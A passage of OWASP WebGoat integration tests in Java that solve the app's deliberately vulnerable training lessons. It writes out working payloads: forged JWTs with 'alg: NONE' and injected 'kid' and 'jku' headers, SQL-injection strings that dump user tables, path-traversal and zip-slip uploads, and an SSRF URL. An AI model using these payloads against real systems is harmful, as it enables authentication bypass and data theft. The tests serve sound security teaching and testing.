.get(webGoatUrlConfig.url("service/lessonoverview.mvc"))
.andReturn();
MatcherAssert.assertThat(
result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkAssignment(
String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public String getWebWolfFileServerLocation() {
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("file-server-location"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
return result;
}
public String webGoatServerDirectory() {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("server-directory"))
.then()
.extract()
.response()
.getBody()
.asString();
}
public void cleanMailbox() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.delete(webWolfUrlConfig.url("mail"))
.then()
.statusCode(HttpStatus.ACCEPTED.value());
}
}

View File

@ -0,0 +1,307 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
import java.security.interfaces.RSAPublicKey;
import java.time.Instant;
import java.util.Base64;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.jose4j.jwk.JsonWebKeySet;
import org.jose4j.jwk.RsaJsonWebKey;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest {
@Test
public void solveAssignment() throws IOException, NoSuchAlgorithmException {
startLesson("JWT");
decodingToken();
resetVotes();
findPassword();
buyAsTom();
deleteTomThroughKidClaim();
deleteTomThroughJkuClaim();
quiz();
checkResults("JWT");
}
private String generateToken(String key) {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key)
.compact();
}
private String getSecretToken(String token) {
for (String key : JWTSecretKeyEndpoint.SECRETS) {
try {
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
} catch (JwtException e) {
continue;
}
return TextCodec.BASE64.encode(key);
}
return null;
}
private void decodingToken() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user")
.post(webGoatUrlConfig.url("JWT/decode"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void findPassword() {
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("JWT/secret/gettoken"))
.then()
.extract()
.response()
.asString();
String secret = getSecretToken(accessToken);
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(webGoatUrlConfig.url("JWT/secret"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void resetVotes() throws IOException {
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
.then()
.extract()
.cookie("access_token");
String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
.toString())
.concat(".")
.replace("=", "");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(webGoatUrlConfig.url("JWT/votings"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void buyAsTom() throws IOException {
String header =
new String(
Base64.getUrlDecoder()
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
String body =
new String(
Base64.getUrlDecoder()
.decode(
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
.getBytes(Charset.defaultCharset())));
body = body.replace("Jerry", "Tom");
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
.concat(".")
.replace("=", "");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken)
.post(webGoatUrlConfig.url("JWT/refresh/checkout"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void deleteTomThroughKidClaim() {
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
JwsHeader.KEY_ID,
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, "deletingTom")
.compact();
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
keyPairGenerator.initialize(2048);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "jwks.json", jwks.toJson().getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
.compact();
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void quiz() {
Map<String, Object> params = new HashMap<>();
params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2");
checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
}
}

View File

@ -0,0 +1,233 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import io.restassured.path.json.JsonPath;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.List;
import java.util.Properties;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
public class LabelAndHintIntegrationTest extends IntegrationTest {
static final String ESCAPE_JSON_PATH_CHAR = "\'";
@Test
public void testSingleLabel() {
Assertions.assertTrue(true);
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Try again: but this time enter a value before hitting go.",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=nl"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=de"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Benutzername",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=xx"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
}
@Test
public void testHints() {
JsonPath jsonPathLabels = getLabels("en");
List<String> allLessons =
List.of(
"HttpBasics",
"HttpProxies",
"CIA",
"InsecureLogin",
"Cryptography",
"PathTraversal",
"XXE",
"JWT",
"IDOR",
"SSRF",
"WebWolfIntroduction",
"CrossSiteScripting",
"CSRF",
"HijackSession",
"SqlInjection",
"SqlInjectionMitigations",
"SqlInjectionAdvanced",
"Challenge1");
for (String lesson : allLessons) {
startLesson(lesson);
List<String> hintKeys = getHints();
for (String key : hintKeys) {
String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
// System.out.println("key: " + key + " ,value: " + keyValue);
Assertions.assertNotNull(keyValue);
Assertions.assertNotEquals(key, keyValue);
}
}
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
// ""+jsonPath.getList("hint").get(0));
}
@Test
public void testLabels() {
JsonPath jsonPathLabels = getLabels("en");
Properties propsDefault = getProperties("");
for (String key : propsDefault.stringPropertyNames()) {
String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
Assertions.assertNotNull(keyValue);
}
checkLang(propsDefault, "nl");
checkLang(propsDefault, "de");
checkLang(propsDefault, "fr");
}
private Properties getProperties(String lang) {
Properties prop = null;
if (lang == null || lang.equals("")) {
lang = "";
} else {
lang = "_" + lang;
}
try (InputStream input =
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
prop = new Properties();
// load a properties file
prop.load(input);
} catch (Exception e) {
e.printStackTrace();
}
return prop;
}
private void checkLang(Properties propsDefault, String lang) {
JsonPath jsonPath = getLabels(lang);
Properties propsLang = getProperties(lang);
for (String key : propsLang.stringPropertyNames()) {
if (!propsDefault.containsKey(key)) {
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
Assertions.fail();
}
if (!jsonPath
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
.equals(propsLang.get(key))) {
System.out.println(
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
System.out.println(
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
System.out.println("expected: " + propsLang.getProperty(key));
System.out.println();
Assertions.fail();
}
}
}
private JsonPath getLabels(String lang) {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", lang)
.cookie("JSESSIONID", getWebGoatCookie())
// .log().headers()
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
// .log().all()
.statusCode(200)
.extract()
.jsonPath();
}
private List<String> getHints() {
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/hint.mvc"))
.then()
// .log().all()
.statusCode(200)
.extract()
.jsonPath();
return jsonPath.getList("hint");
}
}

View File

@ -0,0 +1,151 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.Map;
import org.apache.commons.lang3.StringUtils;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.springframework.http.HttpHeaders;
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach
public void init() {
startLesson("PasswordReset");
}
@TestFactory
Iterable<DynamicTest> passwordResetLesson() {
return Arrays.asList(
dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
}
public void assignment2() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"),
false);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail"),
Map.of(
"email",
this.getUser() + "@webgoat.org",
"password",
StringUtils.reverse(this.getUser())),
true);
}
public void assignment4() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"),
true);
}
public void assignment5() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"),
false);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"),
true);
}
public void solveAssignment() {
// WebGoat
clickForgotEmailLink("tom@webgoat-cloud.org");
// WebWolf
var link = getPasswordResetLinkFromLandingPage();
// WebGoat
changePassword(link);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true);
}
public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org");
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
}
@AfterEach
public void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("PasswordReset");
}
private void changePassword(String link) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(webGoatUrlConfig.url("PasswordReset/reset/change-password"))
.then()
.statusCode(200);
}
private String getPasswordResetLinkFromLandingPage() {
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link =
responseBody.substring(
startIndex + "/PasswordReset/reset/reset-password/".length(),
responseBody.indexOf(",", startIndex) - 1);
return link;
}
private void clickForgotEmailLink(String user) {
RestAssured.given()
.when()
.header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port()))
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then()
.statusCode(200);
}
}

View File

@ -0,0 +1,156 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Arrays;
import java.util.Map;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
class PathTraversalIT extends IntegrationTest {
@TempDir Path tempDir;
private File fileToUpload = null;
@BeforeEach
@SneakyThrows
public void init() {
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
startLesson("PathTraversal");
}
@TestFactory
Iterable<DynamicTest> testPathTraversal() {
return Arrays.asList(
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
}
private void assignment1() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe")
.post(webGoatUrlConfig.url("PathTraversal/profile-upload"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment2() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe")
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment3() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart(
"uploadedFileRemoveUserInput",
"../test.jpg",
Files.readAllBytes(fileToUpload.toPath()))
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment4() throws IOException {
var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given()
.urlEncodingEnabled(false)
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url(uri))
.then()
.statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(
webGoatUrlConfig.url("PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true);
}
private void assignment5() throws IOException {
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome =
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip");
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8));
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(webGoatUrlConfig.url("PathTraversal/zip-slip"))
.then()
.log()
.all()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
@AfterEach
void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("PathTraversal");
}
}

View File

@ -0,0 +1,61 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.response.Response;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws InterruptedException {
int NUMBER_OF_CALLS = 40;
int NUMBER_OF_PARALLEL_THREADS = 5;
startLesson("Challenge1");
Callable<Response> call =
() -> {
// System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(webGoatUrlConfig.url("challenge/flag/1"));
};
ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls =
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
long countStatusCode500 =
responses.stream()
.filter(
r -> {
try {
// System.err.println(r.get().getStatusCode());
return r.get().getStatusCode() != 200;
} catch (InterruptedException | ExecutionException e) {
// System.err.println(e);
throw new IllegalStateException(e);
}
})
.count();
System.err.println("counted status 500: " + countStatusCode500);
Assertions.assertThat(countStatusCode500)
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
}
}

View File

@ -0,0 +1,29 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SSRF");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("url", "images/jerry.png");
checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true);
params.clear();
params.put("url", "http://ifconfig.pro");
checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true);
checkResults("SSRF");
}
}

View File

@ -0,0 +1,23 @@
/*
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.Map;
import org.junit.jupiter.api.Test;
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -0,0 +1,62 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionAdvanced");
Map<String, Object> params = new HashMap<>();
params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password");
checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/register"), params, false);
params.clear();
params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/login"), params, true);
params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put(
"userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6b", "passW0rD");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true);
params.clear();
params.put(
"question_0_solution",
"Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?");
params.put(
"question_2_solution",
"Solution 2: Prepared statements are compiled once by the database management system"
+ " waiting for input and are pre-compiled this way.");
params.put(
"question_3_solution",
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+ " resulting in a seperation of code and data.");
params.put(
"question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true);
}
}

View File

@ -0,0 +1,82 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 =
"update employees set department='Sales' where last_name='Barnett'";
public static final String sql_4_drop = "alter table employees drop column phone";
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
public static final String sql_9_account = " ' ";
public static final String sql_9_operator = "or";
public static final String sql_9_injection = "'1'='1";
public static final String sql_10_login_count = "2";
public static final String sql_10_userid = "1 or 1=1";
public static final String sql_11_a = "Smith' or '1' = '1";
